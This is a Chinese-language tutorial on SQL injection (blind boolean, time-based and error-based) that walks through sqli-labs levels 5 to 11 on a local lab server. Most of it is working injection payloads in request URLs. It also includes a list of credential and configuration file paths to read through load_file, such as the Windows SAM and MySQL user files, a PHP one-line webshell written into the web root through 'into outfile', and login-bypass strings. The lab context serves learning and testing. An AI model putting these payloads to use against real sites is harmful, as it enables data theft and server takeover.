盲注的讲解

​何为盲注?盲注就是在sql注入过程中,sql语句执行后,查询的数据不能回显到前端页面中,此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。我们可以知道盲注分为三种

  • 基于布尔的SQL盲注
  • 基于时间的SQL盲注
  • 基于报错的SQL盲注

由于内容太多,我们仅仅简单的列举一下

1.基于布尔SQL盲注---------构造逻辑判断

我们可以利用逻辑判断进行

截取字符串相关函数解析

在SQL注入中,往往会用到截取字符串的问题,例如不会先的情况下的注入,也称为盲注,这种情况下往往需要一个一个字符去猜解,过程中需要用到截取字符串。文本中主要列举三个函数和该函数注入过程中的一些用例。这里我们用mysql的函数来说明。

三大法宝:mid(),substr(),left()

mid()函数

此函数为截取字符串一部分。MID(column_name,start,[length])

参数描述
column_name必需。要提取字符的字段。
start必需。规定开始位置(起始值是 1)。
length可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。
Eg:    str="123456"   mid(str,2,1)  结果为2

sql用例:

(1) MID(DATABASE(),1,1)>'a',查看数据库名第一位,MID(DATABASE(),2,1)查看数据库名第二位,一次查看各位字符。
(2) MID((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x0000 LIMIT 0,1),1,1)>'a',此处column_name可以为sql语句,我们可以自行构造语句进行注入。

substr()函数

substr()和substring()函数实现的功能是一样的,均为截取字符串。

string substring(string,start,length)

string substr(string,start,length)

参数描述同mid()函数,第一个参数是要处理的字符串,start为开始位置,length为截取长度。

SQL用例

​ (1) substr(DATABASE(),1,1)>'a',查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,一次查看各位字符。
​ (2)substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x00000 LIMIT 0,1),1,1)>'a'此处string参数可以为sql语句,可以自行构造sql语句进行注入。

Left()函数

Left()得到字符串左部指定个数的字符
Left(string,n) string为要截取的字符串,n为长度
SQL用例:
​ (1) left(database(),1)>'a',查看数据库名第一位,left(database(),2)>'ab',查看数据库名前两位。
​ (1)同样的string可以为自行构造的sql语句。

同时也要介绍ORD()函数,此函数为返回第一字符的ASCII码,经常与上面的函数进行组合使用。
​ 例如ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也即是'r'

  • left(database(),1)>' s' //left函数
    Explain:database()显示数据库名,left(a,b)从左侧开始截取a的前b位
  • ascii(substr((selet table_anme information_schema.tables where tables_schema=database() limit 0,1),1,1))=101 --+
    Explain:substr(a,b,c)从b位置开始,截取字符串a的c个长度。ascii()将某个字符转换为ascii值
  • ascii(substr(select database(),1,1))=98
  • ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //%23=#
    Explain:mid(a,b,c)从位置b开始,截取a字符串的c位。Ord()函数同ascii(),将字符串转为ascii值
  • regexp正则注入

正则注入介绍

--------------------------------------------------------Mysql 5.x--------------------------------------------------------------------

我们都知道,在mysql5中information_schema库中存储了所有的库名,表名以及字段名称。故攻击方式如下
1.判断第一个表明的第一个字符是否是a-z中的字符,其中blind_sqli是假设已知的库名。
注:正则表达式中^[a-z]表示字符串中开始字符是在a-z范围内的

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-z]' limit 0,1)/*

2.判断第一个字符是否是a-n中的字符

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^[a-n]' limit 0,1)/*

3.确定该字符为n

index.php?id=1 and 1=(select 1 from information_schema.tables where table_schema="blind_sqli" and table_name regexp '^n' limit 0,1)/*

4.我么后续的判断
expression like this: '^n[a-z]'->'^ne[a-z]'->'^new[a-z]'->'^news[a-z]'->FALSE
这说明表名为news,要验证是否是该表名正则式子为'^news$',但是没有这个必要,直接判断table_name='news'即可

5.接下来就是猜解其他的表了(我么只需要修改limit 1,1 -> limit 2,1 就可以对接下来的表进行盲注了)这里是错误的
regexp匹配的时候会在所有的项都进行匹配。例如:
security数据库的表有多个,users,email等,我们使用正则匹配的时候,会对每一个项都进行匹配,只要有一个项目匹配上了就返回真。

select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^u[a-z]' limit 0,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 0,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 0,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^us[a-z]' limit 1,1);正确
select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp '^em[a-z]' limit 1,1);正确

实验表明:在limit 0,1下,regexp会匹配所有的项,所以我们在使用regexp的时候要注意,可能有多个项,我们要一个一个去暴破。类似于上述1,2条,而这时候limit 0,1此时对于where table_schema='security' limit 0,1。table_schema='securtiy'已经起到了限定作用,所以limit有没有已经不重要了。

----------------------------------------------------MSSQL----------------------------------------------------------------

MSSQL所用的正则表达式并不是标准的正则表达式,该表达式使用like关键字

default.asp?id=1 and 1=(select top 1 1 from information_schema.tables where table_schema="blind_sqli" and table_name like '[a-z]%')

该查询语句中,select top 1是一个组合,不要看错了。
select top 1是查询第一行,后面的那个1是像之前mysql中查询的1的作用一样,用来显示。
如果要查询其他的表名,由于不能像mysql那样用limit x,1,只能使用table_name not in (select top x table_name from information_schema.tables)意义是:表名没有在前x行里,其实查询的说就是第x+1行。
例如查询第二行的表名:

default.asp?id=1 and 1=(select top 1 1 from information_schema.tables where table_schema="blind_sqli" and table_name not in (select top 1 table_name from information_schema.tables) and table_name like '[a-z]%')

表达式的顺序:

'n[a-z]%'->'ne[a-z]%'->'new[a-z]%'->'new[a-z]%'->'news[a-z]%'->TRUE

之所以表达式new[a-z]查询后返回正确是因为%代表0-n个字符,使用_则只能代表一个字符。故确认后续还是否有字符可用如下表达式

'new%'TRUE->'news_'FALSE
同理可以用相同的方式获取字段,值。这里就不详述了。

实例介绍:
用法:select user() regexp '^[a-z]';
explain:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。
第二位可以用select user() regexp '^ro'来进行

当正确的时候显示结果为1,不正确的时候显示结果为0.

示例介绍:

  • select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
  • select * from users where id=1 and 1=(user() regexp '^ri');

通过if语句的条件判断,返回一些条件语句,比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。

  • select * from users where id=1 and 1=(select 1 from information_schema.tables where table_schema='security' and table_name regexp 'us[a-z]' limit 0,1);

这里利用select构造了一个判断语句。我们只需要更换regexp表达式即可

'^u[a-z]'->'^us[a-z]'->'^use[a-z]'->'^user[a-z]'->FALSE

如何知道匹配结束了?这里大部分是根据一般的命名方式(经验)就可以判断。但是如何在你无法判断的情况下,可以用table_name regexp '^users$'来进行判断。^是从头开始匹配,$是从结尾开始判断。更多的语法可以参考mysql使用手册来进行了解。
接下来我么思考一个问题,table_name有好几个,我们只得到了一个如何知道其他的表呢?
这里可能会有人说使用limit 0,1改为limit 1,1。
但是这种做法是错误的,limit作用在前面的select语句中,而不是regexp。其实在regexp中我们是去匹配table_name中的内容,只要table_name中有的内容,我们用regexp都可以匹配到。因此上述语句不仅仅可以选择user,还可以匹配其他项。

  • like匹配注入

和上述的正则类似,mysql在匹配的时候我么可以用like进行匹配
用法:select user() like 'ro%'

2.基于报错的SQL注入---构造payload让信息通过错误提示回显出来

  • select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) a from information_schema.columns group by a;

//此处有三个需要注意的地方,一是需要concat计数,而是floor,取得0or1,进行数据的重复,三是group by进行分组,但是具体原理比较难理解,大致原理分为组后数据计数的时候造成的错误。也有解释为mysql的bug问题。但是此处需要将rand(0),rand()需要多试几次才行。

以上语句可以简化为如下的形式:

select count(*) from information_schema.tables group by concat(version(),floor(rand(0)*2))

如果关键的表被禁用了,可以使用这种形式

select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))

如果rand被禁用了可以使用用户变量来报错

select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
  • select exp(~(select * FROM(SELECT USER())a)//double数值类型超出范围

//Exp()为以e为底的对数函数:版本在5.5.5及其以上

使用exp进行sql报错注入

原文作者在MySql中发现了一个Double型数据溢出。如果需要了解:https://osandamalith.wordpress.com/2015/07/08/bigint-overflow-error-based-sql-injection/

我们拿到mysql里的函数的时候,作者比较感兴趣的是其中的数学函数,他们应该包含一些数据类型来保存数值。所以作者就会测试哪些函数会出现溢出错误。然后作者发现,当传递一个大于709的值时,函数exp()就会引起一个溢出错误。

在Mysql中,exp与ln和log的功能相反,简单介绍下,就是log和ln都返回以e为底数的对数,见等式:

e approx 2.71828183

ln(15) = log_ {e} (15) = 2.70805020110221

指数函数为对数函数的反函数,exp()即为以e为底的对数函数:如等式:

e^{2.70805020110221} = 15

注入

当涉及到注入的时候,我么使用否定查询来造成"DOUBLE value is out of range"的错误。作者之前的博文提到,将0按位取反就会返回"18446744073709551615",再加上函数成功执行之后返回0的缘故,我们将成功执行的函数取反就会得到最大的无符号BIGINT值。

我们通过子查询与按位取反,造成一个DOUBLE overflow error,并借此注出数据

select exp(~(select*from(select user())x));

这里未成功实现

注出数据

版本5.5.53未实现,报错

版本 5.1.73-community未实现,返回NULL

版本8.0.18未实现,报错

版本5.7.26未实现,报错

版本5.5.29-log成功

得到表名

select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x));

失败

BIGINT溢出
失败

  • extractvalue(1,concat(0x7e,(select @@version),0x7e)) //mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
  • updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql对xml数据进行查询和修改的xpath语法错误
  • select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x; //mysql重复特性,此处重复了version,所以报错

基于时间的SQL盲注-----------延时注入

  • if(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if判断语句,条件为假,执行sleep

Less-5

首先我们查看一下源码,方便我们理解

if(isset($_GET['id']))
{
    $id=$_GET['id'];
    $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);

    if($row)
    {echo 'You are in...........';}
    else 
    {print_r(mysql_error());}
}
else 
{ echo "Please input the ID as parameter with numeric value";}

//首先我们可以看到当查询正确的时候不会返回查询的数据。

-1 首先我们利用left(database(),1)进行尝试

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27and%20left(version(),1)=5%23

我们可以看到返回结果正确,所以我们可以判断出mysql版本的第一个数字为5,当判断结果为错误的时候:

接下来我们判断一下数据库的长度,我们可以看到长度为8的时候返回正确

接下来我们猜测数据库第一位,我们可以知道第一位是大于a的

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27and%20left(database(),1)%3E%27a%27%23

最终我们判断出第一位是s,我们接着判断前两位是否是大于sb,返回正确

是否大于se,返回失败,我们可以知道前两位是se,那么接下来的以此类推即可

-2 我们还可以利用substr() ascii()函数进行尝试

我们首先尝试判断数据库名的第一个字符,我们可以知道数据库名的第一个字符为s,后续以及类推

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27and%20ascii(substr((select database() limit 0,1),1,1))=115%23

我们继续推测出表名位第一位是e

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101%23

此处我们可以将database()替换为'security',这里我们使用的是database(),接下来我们测试第二个字符

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109%23

经过我么的测试,第一个表名为email。

接下来我们获取第二个表的信息,查询第二个表的第一个字符

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27and%20ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114%23

-3 利用regexp获取users中的列

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27and%201=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^us[a-z]' limit 0,1)--+

这里是判断是否有username这一列

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27and%201=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

我们也可以将字段更换为password等其他的。

-4 利用ord()和mid()函数获取users表的内容,

CAST函数语法规则是:Cast(字段名 as 转换的类型 ),其中类型可以为:
CHAR[(N)] 字符型
DATE 日期型
DATETIME 日期和时间型
DECIMAL float型
SIGNED int
TIME 时间型
IFNULL() 函数用于判断第一个表达式是否为 NULL,如果为 NULL 则返回第二个参数的值,如果不为 NULL 则返回第一个参数的值。
FNULL() 函数语法格式为:
IFNULL(expression, alt_value)
expression    必须,要测试的值
alt_value    必须,expression 表达式为 NULL 时返回的值

利用 ord()和 mid()函数获取 users 表的内容,这里是首先使用IFNULL判断security.users中是否有username这个字段,如果没有返回0x20,如果有将username类型转换为CHAR,然后去其中的第一个字段,接着使用MID从1的位置(起始位置就是1)拿到长度为1的字符,然后使用ORD取到ascii第一个字符的ascii码然后与68进行比较。

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27%20and%20ORD(MID((SELECT%20IFNULL(CAST(username%20AS%20CHAR),0x20)FROM%20security.users%20ORDER%20BY%20id%20LIMIT%200,1),1,1))=68--+

-5 接下来我们就进行一下报错注入和延时注入

首先进行报错注入

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27%20union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

利用double数值类型超出范围进行报错注入,失败!!!!!!

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27%20union select (exp(~(select * from(select user())a))),2,3--+

利用bigint溢出进行报错注入,失败

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27 union select (!(select * from (select user())x) - ~0),2,3--+

使用xpath进行报错注入

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27%20and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

updatexml进行报错注入

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27%20and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

利用数据的重复性,貌似能查出version

http://192.168.252.148/sqli-labs/Less-5/
?id=1%27%20union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x --+

-6 延时注入

利用sleep函数进行延时注入

IF函数根据条件的结果为true或false,返回第一个值,或第二个值
IF(condition, value_if_true, value_if_false)
condition    必须,判断条件
value_if_true    可选,当条件为true值返回的值
value_if_false    可选,当条件为false值返回的值

我们进行延时注入,这里我们判断数据库的第一个字符是不是s,如果是返回正常页面,如果不是会执行sleep(5)

http://192.168.252.148/sqli-labs/Less-5/
?id=1' and if(ascii(substr((select database()),1,1))=116,1,sleep(5))--+

利用BENCHMARK()进行延时注入

BENCHMARK(count,expr)
BENCHMARK会重复计算expr表达式count次,通过这种方式就可以评估出mysql执行这个expr表达式的效率。这个函数的返回值始终是0,但可以根据客户端提示的执行时间来得到BENCHMARK总共执行的所消耗的时间

判断是否有注入点,当延时5秒的情况下,就说明存在延时注入

http://192.168.252.148/sqli-labs/Less-5/
?id=1' and if(1=0,1,sleep(5))--+

判断数据库版本的第一个字符是否是5,返回正常没有延时,说明为5

http://192.168.252.148/sqli-labs/Less-5/
?id=1' and if(ascii(substr((select version()),1,1))=53,1,(select benchmark(10000000,md5(0x41))))--+

判断当前数据库的第一个字符是否是s,返回正常,当失败的时候,会执行md5(0x41)

http://192.168.252.148/sqli-labs/Less-5/
?id=1' and if(ascii(substr((select database()),1,1))=115,1,(select benchmark(10000000,md5(0x41))))--+

判断表名长度,注意这里length有两个括号

http://192.168.252.148/sqli-labs/Less-5/
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6,1,(select benchmark(10000000,md5(0x41))))--+

判断表的第一个字符,后续的操作依次类推

http://192.168.252.148/sqli-labs/Less-5/
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,(select benchmark(10000000,md5(0x41))))--+

Less-6

我们首先判断出了是双引号

使用xpath进行报错显示版本

http://192.168.252.148/sqli-labs/Less-6/
?id=1" and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

后续的操作依次

我们再将导入导出相关的操作

  • load_file导出文件

load_file(file_name):读取文件并返回改文件的内容作为一个字符串

使用条件:

A.必须有权限读取文件并且文件必须完全可读

​> and (select count(*) from mysql.user)>0 如果结果返回正常,说明具有读写权限。
​> and (select count(*) from mysql.user)>0 如果返回错误,应该就是管理员给数据库用户降权了
​> B.想要读取的文件必须在服务器上
​> C.必须指定文件的完整路径
​> D.想要读取的文件必须小于 max_allowed_packet

如果该文件不存在,或因为上面的任何一个原因不能被读出,函数返回空。比较难满足的就是权限,在windows下,如果MTFS设置得当,是不能读取相关文件的,当遇到只有administrator才能读取的文件,user用户就别想load_file出来。

在实际的注入中,我们有两个难点需要解决

1.绝对物理路径
2.构造有效的畸形语句(通过报错来得知物理路径)

在很多php程序中,当提交一个错误的Query,如果display_errors=on,程序就会暴露WEB目录的绝对路径,只要知道路径,那么对于一个可以注入的php程序来说,整个服务器的安全将会受到严重的威胁。

常用的路径:

WINDOWS下:
c:/boot.ini //查看系统版本
c:/windows/php.ini //php配置信息
c:/windows/my.ini //MYSQL配置文件,记录管理员登陆过的MYSQL用户名和密码
c:/winnt/php.ini
c:/winnt/my.ini
c:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码
c:\Program Files\Serv-U\ServUDaemon.ini
c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
c:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此
c:\Program Files\RhinoSoft.com\ServUDaemon.exe
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
//存储了pcAnywhere的登陆密码
c:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf //查看WINDOWS系统apache文件
c:/Resin-3.0.14/conf/resin.conf //查看jsp开发的网站 resin文件配置信息.
c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
d:\APACHE\Apache2\conf\httpd.conf
C:\Program Files\mysql\my.ini
C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
LUNIX/UNIX 下:
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
/usr/local/apache2/conf/httpd.conf
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/usr/local/app/php5/lib/php.ini //PHP相关设置
/etc/sysconfig/iptables //从中得到防火墙规则策略
/etc/httpd/conf/httpd.conf // apache配置文件
/etc/rsyncd.conf //同步程序配置文件
/etc/my.cnf //mysql的配置文件
/etc/redhat-release //系统版本
/etc/issue
/etc/issue.net
/usr/local/app/php5/lib/php.ini //PHP相关设置
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf/httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/httpd/conf/httpd.conf或/usr/local/apche/conf /httpd.conf 查看linux APACHE虚拟主机配置文件
/usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
/usr/local/resin-pro-3.0.22/conf/resin.conf 同上
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf APASHE虚拟主机查看
/etc/sysconfig/iptables 查看防火墙策略
load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))

不过还有些需要我们了解

mysql 新版本下secure-file-priv字段 : secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

当secure-file-priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

如何查看secure-file-priv参数的值:    
show global variables like '%secure%';

如果需要修改参数
修改mysql.ini 文件,在[mysqld] 下加入

secure_file_priv =

尝试读取c:/test.txt文件中的内容,我们提前已经将secure_file_priv参数修改

select hex(replace(load_file(char(99,58,92,116,101,115,116,46,116,120,116)),'',''));
select hex((load_file(char(99,58,92,116,101,115,116,46,116,120,116)));
select load_file(char(99,58,92,116,101,115,116,46,116,120,116));
select load_file('C:\\test.txt');

  • 文件导入到数据库

LOAD DATA INFILE语句用户高速地从一个文件文件中读取行,并装入一个表中。文件名称必须是一个文字字符串。

​ 在注入的过程中,我么往往需要一些特殊的文件,比如配置文件,密码文件等。当你具有数据库的权限的时候,可以将系统文件利用load data infile导入到数据库中。
示例:
首先我们创建一个在文件中写入如下内容:

test-    flag
test-    flag
...

之后我们创建一个数据表:create table t0(id varchar(128),name varchar(128));

接着我们使用读取内容到表中:

load data infile 'C:\\test.txt' ignore into table t0 character set gbk fi
elds terminated by'\t' lines terminated by '\n';

命令的意思是:将C:\test.txt文件的内容导入到表t0中,character set gbk是设置字符集为gbk,fields terminated by是每一项数据之间的分隔符,这里我们设置的是\t,lines terminated by是行的结尾符。

TIPS:我们从mysql5.7的文档中看到添加了load xml函数是否可以使用有待我们验证。

  • 导入到文

select .... INTO OUTFILE 'file_name'

我们可以把被选中行写入到一个文件中,该文件被创建到服务器主机上,因此我们必须有FILE权限,才能使用此语法,file_name不能是一个已经存在的文件
我们一般有两种利用形式:
第一种直接将select内容写入到文件中:

我们可以写入一句话木马,直接连接即可。

第二种修改文件结尾:

select version() into outflie "c:\\test2.txt" LINES TERMINATED BY 0x16进制文件

解释:通常使用'rn'结尾,此处我们修改为知己想要的任何文件。同时可以用FIELDS TERMINATED BY
16进制可以为一句话或者其他代码,可以自行构造。在sqlmap中os-shell采取的就是这样的方式,具体可以参考os-shell分析文章:http://www.cnblogs.com/lcamry/p/5505110.html

TIPS:
1.可能在文件路径当中要注意转义,这个要看具体的环境。。
2.上述我们提到了load_file(),但是当前无法导出数据的时候,我们可以利用如下语句:

select load_file("c:\\wamp\\bin\\mysql\\mysq5.5.5\\mysql.in") into outfile "c:\\wamp\\www\\test.php";

我们可以利用该语句将服务器当中的内容倒入到web服务器下的目录中,这样就可以得到很多数据了。上述my.ini当中存在password项(不过默认被注释),当然会有很多的内容可以被导出,我们可以根据情况自己来判断。

Less-7

这一关的标题是Dump into outfile,意思是我们需要利用文件导出的方式进行注入。
首先我们还是先判断注入点的形式
首先我们尝试',我们发现报错了

http://192.168.252.148/sqli-labs/Less-7/
?id=1'


我们就继续尝试,但是还是报错,说明我们字符格式还是有问题,但是其中包括单引号

http://192.168.252.148/sqli-labs/Less-7/
?id=1' and 1=1--+


使用"没有报错,说明不是双引号

http://192.168.252.148/sqli-labs/Less-7/
?id=1"    


我们继续测试单引号,当我们再次输入一个单引号的时候,返回正确,我们判断应该是闭合了多余的单引号,所以正确,所以我们还是需要测试一个单引号的时候

http://192.168.252.148/sqli-labs/Less-7/
?id=1''


一个单引号加一个括号,1') and 1=1--+错误,一个单引号加两个括号,1')) and 1=1--+返回正确,说明就是'))

我们通过order by 判断出个数是3,那我们接下来就进行写文件,我们执行过后发现报格式错误,但是其实我们的文件已经创建

http://192.168.252.148/sqli-labs/Less-7/
?id=1')) union select 1,2,3 into outfile "c:\\phpstudy\\www\\sqli-labs\\Less-7\\uuu.txt"--+



那接下来我们就直接写入一句话到文件中:

http://192.168.252.148/sqli-labs/Less-7/
?id=1')) union select 1,2,'<?php @eval($_POST[x]);?>' into outfile "c:\\phpstudy\\www\\sqli-labs\\Less-7\\1.php"--+

这里我们需要注意的是,这里我们写文件还是需要保持前后的字段查询个数相同,所以我们再3的位置写入文件,这样才能成功写入文件。


此时我们使用菜刀连接即可。这里还有其他的内容可以导入,我们自己进行思考尝试。

Less-8

经过简单的测试,我们发现?id=1' and 1=1--+返回正确,而且他正确返回内容,错误无任何提示,那我们判断出是盲注
首先我们判断出当前数据库
这里判断第一个字符

http://192.168.252.148/sqli-labs/Less-8/
?id=1' and if(ascii(substr((select database()),1,1))=115,1,0)--+


判断数据库名长度

http://192.168.252.148/sqli-labs/Less-8/
?id=1' and if(length((select database()))=8,1,0)=1--+


判断数据库名

http://192.168.252.148/sqli-labs/Less-8/
?id=1' and if(left((select database()),8)=0x7365637572697479,1,0)=1--+


后学的操作我依次即可。

Less-9

首先我们判断注入类型
我们使用了'",不加字符,以及')")返回正常,那我们接下来尝试测试延时注入
当我们输入?id=1' and if(1=2,1,sleep(5))--+的时候,页面等待了5秒才加载完成,所以我们判断是延时注入

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(1=2,1,sleep(5))--+


我们猜测数据库长度,等待5秒后返回

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(length((select database()))=8,sleep(5),1)--+

我们猜测数据库第一个字符

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
我们也可以使用left()
http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(left((select database()),1))=115,sleep(5),1)--+
我们还可以使用BENCHMARK()
http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(left((select database()),1))=115,(select benchmark(20000000,md5(0x41))),1)--+

猜测数据表第一个字符

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(left((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=101,sleep(5),1)--+

数据表第二个字符

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=109,sleep(5),1)--+

猜测第一个字段名的第一个字符

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))=105,sleep(5),1)--+

猜测第一个字段名的第二个字符

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),2,1))=100,sleep(5),1)--+

猜测第二个字段名的第一个字符

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 1,1),1,1))=101,sleep(5),1)--+

猜测第二个字段名的第二个字符

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 1,1),2,1))=109,sleep(5),1)--+

猜测第二字段的的值的第一个字符

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select email_id from emails limit 0,1),1,1))=68,sleep(5),1)--+

猜测第二字段的的值的第二个字符

http://192.168.252.148/sqli-labs/Less-9/
?id=1' and if(ascii(substr((select email_id from emails limit 0,1),2,1))=117,sleep(5),1)--+

依次类推我们可以得到所有字段的值

Less-10

我们测试了如下,逗号为分割

',", ,'),"), ),')),")), )),' and if(1=1,sleep(5),1)--+," and if(1=1,sleep(5),1)--+

最终是双引号延迟注入

http://192.168.252.148/sqli-labs/Less-10/
?id=1" and if(1=1,sleep(5),1)--+

表长度

http://192.168.252.148/sqli-labs/Less-10/
?id=1" and if(length((select database()))=8,sleep(5),1)--+

Less-11

从这一关开始我们就要进入到post注入的世界了,什么事post注入呢?就是数据从客户端提交数据到服务端的另一种方式,之前我们一直是get方式提交数据,现在我们要是哟个post了,在我们登录用户名的时候,一般都是使用POST方式提交数据的。
接下来我们输入正确的用户密码来测试。

接下来我们要思考一下如何进行注入,在post的过程中,我们输入的用户名和密码最后在后台处理的过过程中依旧会形成我们之前所见到的数据库查询语句,只不过是参数接收的方式改变了,从原来的$\_GET变为了现在的$_POST,接下来我们查看一下源码:

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
    $uname=$_POST['uname'];
    $passwd=$_POST['passwd'];
    @$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
    $result=mysql_query($sql);
    $row = mysql_fetch_array($result);
    if($row)
    {
        echo 'Your Login name:'. $row['username'];
        echo 'Your Password:' .$row['password'];
    }
    else  
    {
        print_r(mysql_error());
    }
}

我们可以看到他的格式是',然后在后面使用了and来紧接着查询密码,这里我们可以在输入一个正确的用户名后面使用#来将后面的判断注释掉这样我们的查询结果就是正确了,因为我们输入的用户名是正确的所以查询正确。
我们尝试使用一个的正确的用户名和错误密码登录,并在用户名后面添加#来进行注释。
passwd=admin123&uname=admin

passwd=admin123&uname=admin'#

我们还可以使用正确的用户名和一个万能密码来尝试
passwd=admin123' or 1=1#&uname=admin
passwd=admin123' or '1'='1&uname=admin

返回的结果都是正确,原因是什么呢?我们之前已经了解到了mysql的逻辑运算。当我们提交username和password之后,后台形成的sql语句为"SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1",那在我们输入#之后就容易被注释掉,前面的内容因为or 1=1恒成立,所以语句成立,我们此时以admin的用户登录,那么我们接下来使用get注入中的其他语句来进行注入测试。
passwd=1&uname=admin' order by 2#判断出之前的查询有两列

